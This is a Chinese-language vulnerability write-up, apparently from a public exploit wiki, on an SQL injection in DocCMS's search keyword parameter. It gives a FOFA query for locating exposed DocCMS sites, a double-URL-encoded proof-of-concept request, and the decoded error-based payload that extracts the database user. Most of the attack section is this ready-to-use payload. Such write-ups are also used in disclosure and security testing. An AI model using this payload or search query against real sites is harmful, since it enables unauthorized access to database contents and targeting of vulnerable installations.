# DocCMS keyword SQL注入漏洞

## 漏洞描述

DocCMS keyword参数存在 SQL注入漏洞，攻击者通过漏洞可以获取数据库信息

## 漏洞影响

> [!NOTE]
>
> DocCMS

## FOFA

> [!NOTE]
>
> app="Doccms" 

## 漏洞复现

CMS官网

![image-20210702110657409](http://wikioss.peiqi.tech/vuln/image-20210702110657409.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

验证POC

```
/search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33
```

![image-20210702110838286](http://wikioss.peiqi.tech/vuln/image-20210702110838286.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

其中payload为下列语句的二次Url编码

```
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
```